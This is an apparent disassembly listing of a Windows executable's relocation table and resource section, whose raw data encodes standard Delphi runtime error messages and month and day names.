dd 3F393F22h, 3F5F3F48h, 3F823F6Eh, 3FA23F91h, 3FE33FD4h
dd 3FFAh, 0E000h, 0B4h, 309A3075h, 30F530BEh, 31123103h
dd 33983129h, 36C136B3h, 37793760h, 37BC3793h, 380837E1h
dd 3854382Dh, 38A03879h, 391238C5h, 3A0D393Eh, 3A153A11h
dd 3A1D3A19h, 3A253A21h, 3A2D3A29h, 3A353A31h, 3A3D3A39h
dd 3A453A41h, 3A4D3A49h, 3A553A51h, 3A5D3A59h, 3A6D3A61h
dd 3C2C3C08h, 3CC83C86h, 3D173CFEh, 3DA03D2Fh, 3DC33DBFh
dd 3DCB3DC7h, 3DD33DCFh, 3DDB3DD7h, 3DE33DDFh, 3DEB3DE7h
dd 3DF33DEFh, 3DFB3DF7h, 3E033DFFh, 3E0B3E07h, 3E133E0Fh
dd 3EA83E23h, 3FE73FE3h, 3FEF3FEBh, 3FF73FF3h, 3FFF3FFBh
dd 0F000h, 124h, 30073003h, 300F300Bh, 30173013h, 301F301Bh
dd 30273023h, 302F302Bh, 30373033h, 320C30ACh, 32C0323Ah
dd 335832EEh, 3375335Fh, 337D3379h, 33853381h, 338D3389h
dd 33DA339Ah, 3453344Ch, 346E346Ah, 34763472h, 347E347Ah
dd 34BF3488h, 3533352Ch, 354F354Bh, 35573553h, 355F355Bh
dd 35703563h, 361C35AFh, 36BD3646h, 372736FFh, 37BE3781h
dd 37F237D7h, 388F3870h, 38973893h, 389F389Bh, 38A738A3h
dd 38AF38ABh, 38B738B3h, 38BF38BBh, 38C738C3h, 38CF38CBh
dd 38D738D3h, 38DF38DBh, 38FC38E3h, 3AB3397Ch, 3ABB3AB7h
dd 3AC33ABFh, 3ACB3AC7h, 3AD33ACFh, 3ADB3AD7h, 3AE33ADFh
dd 3AEB3AE7h, 3AF33AEFh, 3AFB3AF7h, 3B033AFFh, 3B6E3B07h
dd 3CD83CB4h, 3D843D41h, 3DD73DBEh, 3E6E3DEFh, 3E763E72h
dd 3E7E3E7Ah, 3E863E82h, 3E8E3E8Ah, 3E963E92h, 3E9E3E9Ah
dd 3EA63EA2h, 3EAE3EAAh, 3EB63EB2h, 3EBE3EBAh, 3ED13EC2h
dd 3F243F0Eh, 3F503F3Ah, 10000h, 154h, 30383034h, 3040303Ch
dd 30483044h, 3050304Ch, 30583054h, 3060305Ch, 30683064h
dd 3070306Ch, 30783074h, 3080307Ch, 30883084h, 30CA30B2h
dd 30FA30E2h, 31E531C1h, 3290324Ch, 32EB32D2h, 33843304h
dd 338C3388h, 33943390h, 339C3398h, 33A433A0h, 33AC33A8h
dd 33B433B0h, 33BC33B8h, 33C433C0h, 33CC33C8h, 33D433D0h
dd 33EC33D8h, 35603449h, 35683564h, 3570356Ch, 35783574h
dd 3580357Ch, 35883584h, 3590358Ch, 35983594h, 35A0359Ch
dd 35A835A4h, 35B035ACh, 35FD35B4h, 37063702h, 370E370Ah
dd 37163712h, 371E371Ah, 37263722h, 372E372Ah, 37363732h
dd 373E373Ah, 37463742h, 374E374Ah, 37563752h, 38293766h
dd 38B0388Ch, 39963936h, 3A2239E0h, 3A543A3Bh, 3AD83AD4h
dd 3AE03ADCh, 3AE83AE4h, 3AF03AECh, 3AF83AF4h, 3B003AFCh
dd 3B083B04h, 3B103B0Ch, 3B183B14h, 3B203B1Ch, 3B283B24h
dd 3C9E3B3Ch, 3CA63CA2h, 3CAE3CAAh, 3CB63CB2h, 3CBE3CBAh
dd 3CC63CC2h, 3CCE3CCAh, 3CD63CD2h, 3CDE3CDAh, 3CE63CE2h
dd 3CEE3CEAh, 3E213CF2h, 3EA33E45h, 3F483EFEh, 3FA33F8Ah
dd 3FBCh, 11000h, 148h, 3040303Ch, 30483044h, 3050304Ch
dd 30583054h
dd 3060305Ch, 30683064h, 3070306Ch, 30783074h, 3080307Ch
dd 30883084h, 3090308Ch, 30CB30A4h, 313A30DDh, 31703155h
dd 31AB318Bh, 32443240h, 324C3248h, 32543250h, 325C3258h
dd 32643260h, 326C3268h, 32743270h, 327C3278h, 32843280h
dd 328C3288h, 32943290h, 32B3329Fh, 33313314h, 336B334Eh
dd 3408338Ah, 346F3440h, 34A2348Ah, 353C3502h, 356C3553h
dd 35D135B4h, 36223609h, 368C3639h, 36F636BCh, 37163712h
dd 371E371Ah, 37263722h, 372E372Ah, 37363732h, 373E373Ah
dd 37463742h, 374E374Ah, 37563752h, 375E375Ah, 37663762h
dd 37903778h, 399E399Ah, 39A639A2h, 39AE39AAh, 39B639B2h
dd 39BE39BAh, 39C639C2h, 39CE39CAh, 39D639D2h, 39DE39DAh
dd 39E639E2h, 39EE39EAh, 3C2D3BC2h, 3C5D3C44h, 3CB53C98h
dd 3D023CE9h, 3D543D19h, 3DC23D7Fh, 3E153DDFh, 3E353E31h
dd 3E3D3E39h, 3E453E41h, 3E4D3E49h, 3E553E51h, 3E5D3E59h
dd 3E653E61h, 3E6D3E69h, 3E753E71h, 3E7D3E79h, 3E853E81h
dd 3EAF3E97h, 12000h, 0CCh, 30B030ACh, 30B830B4h, 30C030BCh
dd 30C830C4h, 30D030CCh, 30D830D4h, 30E030DCh, 30E830E4h
dd 30F030ECh, 30F830F4h, 310030FCh, 336932D4h, 33AD3382h
dd 34613407h, 350E34BFh, 39773958h, 39A7398Fh, 3A2D3A16h
dd 3A523A40h, 3AE53AD0h, 3AFF3AFAh, 3B2C3B0Ch, 3B4B3B46h
dd 3C7E3C1Ch, 3CA63C8Bh, 3CC03CACh, 3DA53CC5h, 3DD73DCAh
dd 3E033DE2h, 3E313E19h, 3E5B3E36h, 3E733E67h, 3E873E7Dh
dd 3E9C3E91h, 3EAC3EA6h, 3ECC3EBEh, 3EDC3ED4h, 3EEC3EE4h
dd 3EFC3EF4h, 3F3F3F04h, 3F523F4Bh, 3F673F5Dh, 3F883F79h
dd 3FB03FA8h, 3FB83FB4h, 3FC03FBCh, 3FC83FC4h, 3FD03FCCh
dd 3FE0h, 13000h, 158h, 30083000h, 3010300Ch, 30183014h
dd 3020301Ch, 30283024h, 30603040h, 306C3068h, 30743070h
dd 307C3078h, 30843080h, 308C3088h, 30943090h, 30A43098h
dd 30CC30C4h, 30D430D0h, 30DC30D8h, 30E430E0h, 30EC30E8h
dd 310C30FCh, 311C3118h, 31283124h, 3130312Ch, 31383134h
dd 3140313Ch, 31483144h, 3150314Ch, 315E315Ah, 31813170h
dd 31983185h, 31BC31B4h, 31E431DCh, 31EC31E8h, 31F431F0h
dd 31FC31F8h, 32043200h, 32343214h, 3240323Ch, 32483244h
dd 3250324Ch, 32583254h, 3292325Ch, 340A33F3h, 35173411h
dd 35313524h, 35483543h, 357C355Ch, 35883584h, 3590358Ch
dd 35983594h, 35A0359Ch, 35FC35A4h, 371A3608h, 37B73794h
dd 37E337D1h, 38AD380Dh, 397338EAh, 39EA39BDh, 3A6F3A32h
dd 3ACE3A8Bh, 3B6C3AEEh, 3BDF3B9Bh, 3BFD3BE6h, 3C9D3C49h
dd 3CF53CB8h, 3D103D01h, 3D753D70h, 3DA43D9Ch, 3DF83DB3h
dd 3E153DFDh, 3E2F3E1Fh, 3E493E35h, 3E673E53h, 3EA63E76h
dd 3EBD3EABh, 3EE73EDBh, 3EF83EEEh, 3F2A3F10h, 3F3E3F34h
dd 3F573F48h, 3F733F61h, 3FAB3F84h, 3FBE3FB7h, 3FDB3FC9h
dd 3FECh, 14000h, 0A8h, 3014300Ch, 301C3018h, 30243020h
dd 302C3028h, 30343030h, 3058304Ch, 3074306Ch, 307C3078h
dd 30843080h, 308C3088h, 30943090h, 30C730A2h, 326830CEh
dd 3348331Eh, 34073389h, 34D73472h, 36963501h, 36F7369Dh
dd 374736FEh, 375A3753h, 37773765h, 37A03788h, 37D837BCh
dd 37E437DCh, 37EC37E8h, 37F437F0h, 37FC37F8h, 38043800h
dd 3824380Ch, 38443840h, 3850384Ch, 38583854h, 3860385Ch
dd 38683864h, 3874386Ch, 3D7F3D6Fh, 3F533F43h, 3F703F69h
dd 3FC73FA9h, 3FD4h, 15000h, 120h, 305C3052h, 30923083h
dd 30FB30CBh, 31763171h, 31E63196h, 321131F3h, 324C3247h
dd 3297328Ah, 3334332Fh, 3369335Ch, 33B4338Ch, 33E933C1h
dd 341533EEh, 34393422h, 34983486h, 34B334A4h, 354034C4h
dd 3563355Ch, 36B635F0h, 379B3769h, 37E237ABh, 382337FDh
dd 38613828h, 38C738B5h, 390038F3h, 392D390Fh, 397B396Eh
dd 398F398Ah, 39B139A5h, 39D939C1h, 3A0A39EDh, 3A523A3Eh
dd 3AFC3ADCh, 3B083B04h, 3B103B0Ch, 3B183B14h, 3B203B1Ch
dd 3BD63B24h, 3C3B3BF4h, 3C523C47h, 3C663C5Ch, 3C7F3C75h
dd 3C933C89h, 3CA73C9Dh, 3CBC3CB2h, 3CD13CC6h, 3CE63CDBh
dd 3D083CF8h, 3D183D10h, 3D283D20h, 3D503D48h, 3D583D54h
dd 3D603D5Ch, 3D683D64h, 3D703D6Ch, 3DA03D80h, 3DAC3DA8h
dd 3DB43DB0h, 3DBC3DB8h, 3DC43DC0h, 3DDC3DC8h, 3DFC3DE8h
dd 3E083E04h, 3E103E0Ch, 3E183E14h, 3E203E1Ch, 3E323E24h
dd 3F0F3E3Ah, 3F793F3Fh, 3FD6h, 16000h, 0E0h, 305B301Dh
dd 308E307Eh, 309E3099h, 30AE30A9h, 30BE30B9h, 30CE30C9h
dd 30DE30D9h, 319730E9h, 32493232h, 32A63299h, 32CE32B9h
dd 352332D5h, 3598356Ah, 35D735A1h, 369E35DEh, 36D936D2h
dd 370B3704h, 37E2379Ah, 380A37F7h, 392B3837h, 39893985h
dd 3991398Dh, 39993995h, 39A1399Dh, 39A939A5h, 39B139ADh
dd 39B939B5h, 39C139BDh, 39C939C5h, 3A3F3A36h, 3A4E3A45h
dd 3A5F3A56h, 3A713A6Ch, 3A853A7Ch, 3AAB3A94h, 3AC33AB7h
dd 3AD13ACBh, 3AE43ADBh, 3AF73AEDh, 3B0F3B04h, 3B323B21h
dd 3BE43B5Ch, 3CB83C21h, 3D003CE2h, 3D603D38h, 3D743D6Ch
dd 3DB93DA0h, 3DFF3DD5h, 3E3F3E18h, 3E863E5Fh, 3EE53EB0h
dd 3F3C3F26h, 3F9E3F90h, 3FACh, 17000h, 104h, 30063001h
dd 3031302Ch, 306A305Dh, 30DE30C2h, 30EE30E4h, 30FC30F5h
dd 314A310Bh, 3176315Ah, 31EC3196h, 323331F7h, 33923343h
dd 340F33DBh, 34253417h, 34603442h, 347E3476h, 349C3494h
dd 34BA34B2h, 34D834D0h, 34F634EEh, 3514350Ch, 3532352Ah
dd 35503548h, 356E3566h, 358C3584h, 35AA35A2h, 35C835C0h
dd 35E635DEh, 360435FCh, 3622361Ah, 36403638h, 365E3656h
dd 367C3674h, 36993692h, 395536A6h, 39A2398Ch, 3A843A4Eh
dd 3BF03AAEh, 3C573C17h, 3C953C77h, 3CCE3CB1h, 3D123CEFh
dd 3D293D1Ch, 3DA53D4Dh, 3DDA3DCBh, 3E063DEDh, 3E493E1Fh
dd 3E773E5Fh, 3EAF3E8Fh, 3ECB3EC2h, 3EDD3ED4h, 3EF33EE6h
dd 3F283F23h, 3F3C3F38h, 3F443F40h, 3F4C3F48h, 3F543F50h
dd 3F5C3F58h, 3F673F60h, 3F833F75h, 3F9F3F91h, 3FBB3FADh
dd 3FD73FC9h, 3FE5h, 18000h, 48h, 32C232B7h, 32D632CCh
dd 32EA32E0h, 331032FCh, 3320331Ch, 3330332Ch, 3370336Ch
dd 33783374h, 3380337Ch, 3390338Ch, 33983394h, 33A0339Ch
dd 33A833A4h, 33B833B4h, 33D033CCh, 33E8h, 19000h, 218h
dd 30143002h, 301F301Bh, 30293025h, 3036302Fh, 3054303Ah
dd 3066305Dh, 307C3072h, 30903086h, 30A4309Ah, 30BF30B3h
dd 30D130C7h, 30E430DCh, 30F830E9h, 31363119h, 3157314Bh
dd 3169315Fh, 3173316Eh, 317D3178h, 31883183h, 3193318Dh
dd 31A0319Ah, 31AD31A7h, 31BA31B4h, 31C731C1h, 31E031CEh
dd 31FF31F2h, 3218320Bh, 32373224h, 324D3243h, 325E3254h
dd 326F3265h, 328E327Ch, 329E3296h, 32B932AFh, 32D632CAh
dd 32F332E2h, 330D3303h, 33223318h, 3337332Dh, 3348333Eh
dd 3359334Fh, 336A3360h, 3374336Fh, 33833379h
dd 338D3388h, 33A7339Ah, 33B433ADh, 33BF33BAh, 33CC33C5h
dd 33DD33D6h, 33E833E2h, 34113404h, 34333429h, 34473438h
dd 3458344Ch, 3480347Bh, 348A3485h, 34A53499h, 34D234BFh
dd 34F134E4h, 35203506h, 35453533h, 356F3552h, 358D3585h
dd 35973592h, 35AF35A9h, 35C135BAh, 35D735CBh, 35E835DDh
dd 35F435EEh, 360235FAh, 3614360Fh, 3631361Eh, 363B3636h
dd 36473642h, 366A364Ch, 368A3674h, 36963690h, 36A1369Ch
dd 36AC36A7h, 36C936B6h, 36D536CFh, 36E036DBh, 36EB36E6h
dd 36FC36F7h, 37143708h, 372D371Ah, 37383732h, 374A3740h
dd 375E374Fh, 376F3769h, 377B3775h, 37863780h, 3798378Bh
dd 37B037A5h, 37D737B8h, 37EA37E2h, 380237FDh, 380D3807h
dd 381F3815h, 382F3824h, 38403835h, 384F3845h, 3866385Eh
dd 388D387Ah, 38993893h, 38A4389Fh, 38AF38AAh, 38C338BAh
dd 38CE38C9h, 38E438DEh, 38F238ECh, 390838FCh, 3919390Eh
dd 3938391Eh, 394E393Dh, 3969395Dh, 3979396Eh, 39983993h
dd 39B139A9h, 39C839C3h, 39D839D3h, 39F639E7h, 3A0139FBh
dd 3A133A09h, 3A273A1Ah, 3A3C3A2Ch, 3A4D3A47h, 3A613A52h
dd 3A7F3A74h, 3A973A8Ah, 3AC13AADh, 1A000h, 218h, 30603040h
dd 30A03080h, 30E030C0h, 31203100h, 37243140h, 372C3728h
dd 37343730h, 384C3738h, 38583854h, 3860385Ch, 38883884h
dd 3890388Ch, 38983894h, 38A0389Ch, 38A838A4h, 38B038ACh
dd 38B838B4h, 38C038BCh, 38C838C4h, 38D038CCh, 38D838D4h
dd 38E038DCh, 38E838E4h, 38F038ECh, 38F838F4h, 390038FCh
dd 39083904h, 3910390Ch, 39183914h, 395C3954h, 396C3964h
dd 397C3974h, 398C3984h, 399C3994h, 39AC39A4h, 39BC39B4h
dd 39CC39C4h, 39DC39D4h, 39EC39E4h, 39FC39F4h, 3A243A20h
dd 3A2C3A28h, 3A343A30h, 3A3C3A38h, 3A443A40h, 3A4C3A48h
dd 3A543A50h, 3A5C3A58h, 3A643A60h, 3A6C3A68h, 3A883A70h
dd 3A903A8Ch, 3A9C3A98h, 3AA43AA0h, 3AE43ADCh, 3AF43AECh
dd 3B043AFCh, 3B143B0Ch, 3B243B1Ch, 3B343B2Ch, 3B443B3Ch
dd 3B543B4Ch, 3B643B5Ch, 3B743B6Ch, 3B843B7Ch, 3B943B8Ch
dd 3BA43B9Ch, 3BB43BACh, 3BC43BBCh, 3BD43BCCh, 3BE43BDCh
dd 3BF43BECh, 3C043BFCh, 3C143C0Ch, 3C243C1Ch, 3C343C2Ch
dd 3C443C3Ch, 3C543C4Ch, 3C643C5Ch, 3C743C6Ch, 3C843C7Ch
dd 3C943C8Ch, 3CA43C9Ch, 3CB43CACh, 3CC43CBCh, 3CD43CCCh
dd 3CE43CDCh, 3CF43CECh, 3D043CFCh, 3DAC3DA8h, 3DB43DB0h
dd 3EBC3EB8h, 3EC43EC0h, 3ECC3EC8h, 3ED43ED0h, 3EDC3ED8h
dd 3EE43EE0h, 3EEC3EE8h, 3EF43EF0h, 3EFC3EF8h, 3F043F00h
dd 3F0C3F08h, 3F143F10h, 3F1C3F18h, 3F243F20h, 3F2C3F28h
dd 3F343F30h, 3F3C3F38h, 3F443F40h, 3F4C3F48h, 3F543F50h
dd 3F5C3F58h, 3F643F60h, 3F6C3F68h, 3F743F70h, 3F7C3F78h
dd 3F843F80h, 3F8C3F88h, 3F943F90h, 3F9C3F98h, 3FA43FA0h
dd 3FAC3FA8h, 3FB43FB0h, 3FBC3FB8h, 3FC43FC0h, 3FCC3FC8h
dd 3FD43FD0h, 3FDC3FD8h, 3FE43FE0h, 3FEC3FE8h, 3FF43FF0h
dd 3FFC3FF8h, 1B000h, 74h, 30043000h, 300C3008h, 30143010h
dd 301C3018h, 30243020h, 302C3028h, 30343030h, 303C3038h
dd 30443040h, 304C3048h, 30543050h, 305C3058h, 30643060h
dd 306C3068h, 30743070h, 307C3078h, 30843080h, 308C3088h
dd 30943090h, 309C3098h, 30A430A0h, 30AC30A8h, 30B430B0h
dd 30BC30B8h, 30C430C0h, 30CC30C8h, 30D430D0h, 27000h
dd 10h, 30043000h, 300C3008h
_reloc ends
; Section 9. (virtual address 0002A000)
; Virtual size : 00033C00 ( 211968.)
; Section size in file : 00033C00 ( 211968.)
; Offset to raw data for section: 0002A000
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_rsrc segment para public 'CODE' use32
assume cs:_rsrc
;org 4002A000h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
dd 2 dup(0)
dd 4, 20000h, 6, 80000020h, 0Ah, 80000068h, 2 dup(0)
dd 4, 70000h, 0FFAh, 80000098h, 0FFBh, 800000B0h, 0FFCh
dd 800000C8h, 0FFDh, 800000E0h, 0FFEh, 800000F8h, 0FFFh
dd 80000110h, 1000h, 80000128h, 2 dup(0)
dd 2 dup(4), 80000250h, 80000140h, 8000025Eh, 80000158h
dd 80000276h, 80000170h, 8000027Eh, 80000188h, 2 dup(0)
dd 4, 10000h, 0
dd 1A0h, 2 dup(0)
dd 4, 10000h, 0
dd 1B0h, 2 dup(0)
dd 4, 10000h, 0
dd 1C0h, 2 dup(0)
dd 4, 10000h, 0
dd 1D0h, 2 dup(0)
dd 4, 10000h, 0
dd 1E0h, 2 dup(0)
dd 4, 10000h, 0
dd 1F0h, 2 dup(0)
dd 4, 10000h, 0
dd 200h, 2 dup(0)
dd 4, 10000h, 0
dd 210h, 2 dup(0)
dd 4, 10000h, 0
dd 220h, 2 dup(0)
dd 4, 10000h, 0
dd 230h, 2 dup(0)
dd 4, 10000h, 0
dd 240h, 2A288h, 20Ch, 4E4h, 0
dd 2A494h, 1FCh, 4E4h, 0
db 90h
db 0A6h, 2, 0
align 8
dd 4E4h, 0
dd 2A75Ch, 178h, 4E4h, 0
dd 2A8D4h, 394h, 4E4h, 0
dd 2AC68h, 35Ch, 4E4h, 0
dd 2AFC4h, 280h, 4E4h, 0
dd 2B244h, 10h, 4E4h, 0
dd 2B254h, 124h, 4E4h, 0
dd 2B378h, 27511h, 4E4h, 0
dd 5288Ch, 4200h, 4E4h, 0
dd 440006h, 430056h, 41004Ch, 0B004Ch, 410050h, 4B0043h
dd 470041h, 490045h, 46004Eh, 3004Fh, 460052h, 30057h
dd 540053h, 52h, 46001Bh, 690061h, 65006Ch, 200064h, 6F0074h
dd 670020h, 740065h, 640020h, 740061h, 200061h, 6F0066h
dd 200072h, 250027h, 270073h, 46001Bh, 690061h, 65006Ch
dd 200064h, 6F0074h, 730020h, 740065h, 640020h, 740061h
dd 200061h, 6F0066h, 200072h, 250027h, 270073h, 43001Dh
dd 6E0061h, 610076h, 200073h, 6F0064h, 730065h, 6E0020h
dd 74006Fh, 610020h, 6C006Ch, 77006Fh, 640020h, 610072h
dd 690077h, 67006Eh, 4F000Eh, 45004Ch, 650020h, 720072h
dd 72006Fh, 250020h, 38002Eh, 2E0078h, 65004Dh, 680074h
dd 64006Fh, 270020h, 730025h, 200027h, 6F006Eh, 200074h
dd 750073h, 700070h, 72006Fh, 650074h, 200064h, 790062h
dd 610020h, 740075h, 6D006Fh, 740061h, 6F0069h, 20006Eh
dd 62006Fh, 65006Ah, 740063h, 56002Fh, 720061h, 610069h
dd 74006Eh, 640020h, 65006Fh, 200073h, 6F006Eh, 200074h
dd 650072h, 650066h, 650072h, 63006Eh, 200065h, 6E0061h
dd 610020h, 740075h, 6D006Fh, 740061h, 6F0069h, 20006Eh
dd 62006Fh, 65006Ah, 740063h, 440037h, 730069h, 610070h
dd 630074h, 200068h, 65006Dh, 680074h, 64006Fh, 200073h
dd 6F0064h, 6E0020h, 74006Fh, 730020h, 700075h, 6F0070h
dd 740072h, 6D0020h, 72006Fh, 200065h, 680074h, 6E0061h
dd 360020h, 200034h, 610070h, 610072h, 65006Dh, 650074h
dd 730072h, 5 dup(0)
dd 540003h, 750068h, 460003h, 690072h, 530003h, 740061h
dd 530006h, 6E0075h, 610064h, 60079h, 6F004Dh, 64006Eh
dd 790061h, 540007h, 650075h, 640073h, 790061h, 570009h
dd 640065h, 65006Eh, 640073h, 790061h, 540008h, 750068h
dd 730072h, 610064h, 60079h, 720046h, 640069h, 790061h
dd 530008h, 740061h, 720075h, 610064h, 1A0079h, 610043h
dd 6E006Eh, 74006Fh, 610020h, 730073h, 670069h, 20006Eh
dd 200061h, 730025h, 740020h, 20006Fh, 200061h, 730025h
dd 4C0025h, 730069h, 200074h, 6F0064h, 730065h, 6E0020h
dd 74006Fh, 610020h, 6C006Ch, 77006Fh, 640020h, 700075h
dd 69006Ch, 610063h, 650074h, 200073h, 240028h, 250030h
dd 290078h, 49001Ah, 76006Eh, 6C0061h, 640069h, 640020h
dd 740061h, 200061h, 790074h, 650070h, 660020h, 72006Fh
dd 270020h, 730025h, 200027h, 69004Ch, 740073h, 630020h
dd 700061h, 630061h, 740069h, 200079h, 75006Fh, 200074h
dd 66006Fh, 620020h, 75006Fh, 64006Eh, 200073h, 250028h
dd 290064h, 4C001Dh, 730069h, 200074h, 6F0063h, 6E0075h
dd 200074h, 75006Fh, 200074h, 66006Fh, 620020h, 75006Fh
dd 64006Eh, 200073h, 250028h, 290064h, 4C001Dh, 730069h
dd 200074h, 6E0069h, 650064h, 200078h, 75006Fh, 200074h
dd 66006Fh, 620020h, 75006Fh, 64006Eh, 200073h, 250028h
dd 290064h, 4A0007h, 6E0061h, 610075h, 790072h, 460008h
dd 620065h, 750072h, 720061h, 50079h, 61004Dh, 630072h
dd 50068h, 700041h, 690072h, 3006Ch, 61004Dh, 40079h, 75004Ah
dd 65006Eh, 4A0004h, 6C0075h, 60079h, 750041h, 750067h
dd 740073h, 530009h, 700065h, 650074h, 62006Dh, 720065h
dd 4F0007h, 740063h, 62006Fh, 720065h, 4E0008h, 76006Fh
dd 6D0065h, 650062h, 80072h, 650044h, 650063h, 62006Dh
dd 720065h, 530003h, 6E0075h, 4D0003h, 6E006Fh, 540003h
dd 650075h, 570003h, 640065h, 41000Eh, 730062h, 720074h
dd 630061h, 200074h, 720045h, 6F0072h, 3F0072h, 630041h
dd 650063h, 730073h, 760020h, 6F0069h, 61006Ch, 690074h
dd 6E006Fh, 610020h, 200074h, 640061h, 720064h, 730065h
dd 200073h, 700025h, 690020h, 20006Eh, 6F006Dh, 750064h
dd 65006Ch, 270020h, 730025h, 2E0027h, 250020h, 200073h
dd 66006Fh, 610020h, 640064h, 650072h, 730073h, 250020h
dd 1C0070h, 790053h, 740073h, 6D0065h, 450020h, 720072h
dd 72006Fh, 20002Eh, 430020h, 64006Fh, 3A0065h, 250020h
dd 2E0064h, 0A000Dh, 730025h, 41001Fh, 630020h, 6C0061h
dd 20006Ch, 6F0074h, 610020h, 20006Eh, 53004Fh, 660020h
dd 6E0075h, 740063h, 6F0069h, 20006Eh, 610066h, 6C0069h
dd 640065h, 4A0003h, 6E0061h, 460003h, 620065h, 4D0003h
dd 720061h, 410003h, 720070h, 4D0003h, 790061h, 4A0003h
dd 6E0075h, 4A0003h, 6C0075h, 410003h, 670075h, 530003h
dd 700065h, 4F0003h, 740063h, 4E0003h, 76006Fh, 440003h
dd 630065h, 56001Fh, 720061h, 610069h, 74006Eh, 6F0020h
dd 200072h, 610073h, 650066h, 610020h, 720072h, 790061h
dd 690020h, 200073h, 6F006Ch, 6B0063h, 640065h, 49001Fh
dd 76006Eh, 6C0061h, 640069h, 760020h, 720061h, 610069h
dd 74006Eh, 740020h, 700079h, 200065h, 6F0063h, 76006Eh
dd 720065h, 690073h, 6E006Fh, 490019h, 76006Eh, 6C0061h
dd 640069h, 760020h, 720061h, 610069h, 74006Eh, 6F0020h
dd 650070h, 610072h, 690074h, 6E006Fh, 490025h, 76006Eh
dd 6C0061h, 640069h, 760020h, 720061h, 610069h, 74006Eh
dd 6F0020h, 650070h, 610072h, 690074h, 6E006Fh, 280020h
dd 730025h, 2E0025h, 780038h, 0A0029h, 730025h, 430035h
dd 75006Fh, 64006Ch, 6E0020h, 74006Fh, 630020h, 6E006Fh
dd 650076h, 740072h, 760020h, 720061h, 610069h, 74006Eh
dd 6F0020h, 200066h, 790074h, 650070h, 280020h, 730025h
dd 200029h, 6E0069h, 6F0074h, 740020h, 700079h, 200065h
dd 250028h, 290073h, 4F003Dh, 650076h, 660072h, 6F006Ch
dd 200077h, 680077h, 6C0069h, 200065h, 6F0063h, 76006Eh
dd 720065h, 690074h, 67006Eh, 760020h, 720061h, 610069h
dd 74006Eh, 6F0020h, 200066h, 790074h, 650070h, 280020h
dd 730025h, 200029h, 6E0069h, 6F0074h, 740020h, 700079h
dd 200065h, 250028h, 290073h, 560010h, 720061h, 610069h
dd 74006Eh, 6F0020h, 650076h, 660072h, 6F006Ch, 100077h
dd 6E0049h, 610076h, 69006Ch, 200064h, 720061h, 750067h
dd 65006Dh, 74006Eh, 490014h, 76006Eh, 6C0061h, 640069h
dd 760020h, 720061h, 610069h, 74006Eh, 740020h, 700079h
dd 170065h, 70004Fh, 720065h, 740061h, 6F0069h, 20006Eh
dd 6F006Eh, 200074h, 750073h, 700070h, 72006Fh, 650074h
dd 180064h, 6E0055h, 780065h, 650070h, 740063h, 640065h
dd 760020h, 720061h, 610069h, 74006Eh, 650020h, 720072h
dd 72006Fh, 450015h, 740078h, 720065h, 61006Eh, 20006Ch
dd 780065h, 650063h, 740070h, 6F0069h, 20006Eh, 780025h
dd 410010h, 730073h, 720065h, 690074h, 6E006Fh, 660020h
dd 690061h, 65006Ch, 170064h, 6E0049h, 650074h, 660072h
dd 630061h, 200065h, 6F006Eh, 200074h, 750073h, 700070h
dd 72006Fh, 650074h, 1C0064h, 780045h, 650063h, 740070h
dd 6F0069h, 20006Eh, 6E0069h, 730020h, 660061h, 630065h
dd 6C0061h, 20006Ch, 65006Dh, 680074h, 64006Fh, 250010h
dd 200073h, 250028h, 2C0073h, 6C0020h, 6E0069h, 200065h
dd 640025h, 29h, 490019h, 76006Eh, 6C0061h, 640069h, 700020h
dd 69006Fh, 74006Eh, 720065h, 6F0020h, 650070h, 610072h
dd 690074h, 6E006Fh, 490016h, 76006Eh, 6C0061h, 640069h
dd 630020h, 61006Ch, 730073h, 740020h, 700079h, 630065h
dd 730061h, 300074h, 630041h, 650063h, 730073h, 760020h
dd 6F0069h, 61006Ch, 690074h, 6E006Fh, 610020h, 200074h
dd 640061h, 720064h, 730065h, 200073h, 700025h, 20002Eh
dd 730025h, 6F0020h, 200066h, 640061h, 720064h, 730065h
dd 200073h, 700025h, 410010h, 630063h, 730065h, 200073h
dd 690076h, 6C006Fh, 740061h, 6F0069h, 0E006Eh, 740053h
dd 630061h, 20006Bh, 76006Fh, 720065h, 6C0066h, 77006Fh
dd 43000Dh, 6E006Fh, 720074h, 6C006Fh, 43002Dh, 680020h
dd 740069h, 500016h, 690072h, 690076h, 65006Ch, 650067h
dd 200064h, 6E0069h, 740073h, 750072h, 740063h, 6F0069h
dd 28006Eh, 780045h, 650063h, 740070h, 6F0069h, 20006Eh
dd 730025h, 690020h, 20006Eh, 6F006Dh, 750064h, 65006Ch
dd 250020h, 200073h, 740061h, 250020h, 2E0070h, 0A000Dh
dd 2 dup(730025h), 0A000Dh, 410011h, 700070h, 69006Ch
dd 610063h, 690074h, 6E006Fh, 450020h, 720072h, 72006Fh
dd 460031h, 72006Fh, 61006Dh, 200074h, 250027h, 270073h
dd 690020h, 76006Eh, 6C0061h, 640069h, 6F0020h, 200072h
dd 6E0069h, 6F0063h, 70006Dh, 740061h, 620069h, 65006Ch
dd 770020h, 740069h, 200068h, 720061h, 750067h, 65006Dh
dd 74006Eh, 4E001Bh, 20006Fh, 720061h, 750067h, 65006Dh
dd 74006Eh, 660020h, 72006Fh, 660020h, 72006Fh, 61006Dh
dd 200074h, 250027h, 270073h, 560022h, 720061h, 610069h
dd 74006Eh, 6D0020h, 740065h, 6F0068h, 200064h, 610063h
dd 6C006Ch, 200073h, 6F006Eh, 200074h, 750073h, 700070h
dd 72006Fh, 650074h, 40064h, 650052h, 640061h, 570005h
dd 690072h, 650074h, 450024h, 720072h, 72006Fh, 630020h
dd 650072h, 740061h, 6E0069h, 200067h, 610076h, 690072h
dd 6E0061h, 200074h, 72006Fh, 730020h, 660061h, 200065h
dd 720061h, 610072h, 290079h, 610056h, 690072h, 6E0061h
dd 200074h, 72006Fh, 730020h, 660061h, 200065h, 720061h
dd 610072h, 200079h, 6E0069h, 650064h, 200078h, 75006Fh
dd 200074h, 66006Fh, 620020h, 75006Fh, 64006Eh, 73h, 4F000Dh
dd 740075h, 6F0020h, 200066h, 65006Dh, 6F006Dh, 790072h
dd 49000Ch, 4F002Fh, 650020h, 720072h, 72006Fh, 250020h
dd 0E0064h, 690046h, 65006Ch, 6E0020h, 74006Fh, 660020h
dd 75006Fh, 64006Eh, 490010h, 76006Eh, 6C0061h, 640069h
dd 660020h, 6C0069h, 6E0065h, 6D0061h, 130065h, 6F0054h
dd 20006Fh, 61006Dh, 79006Eh, 6F0020h, 650070h, 20006Eh
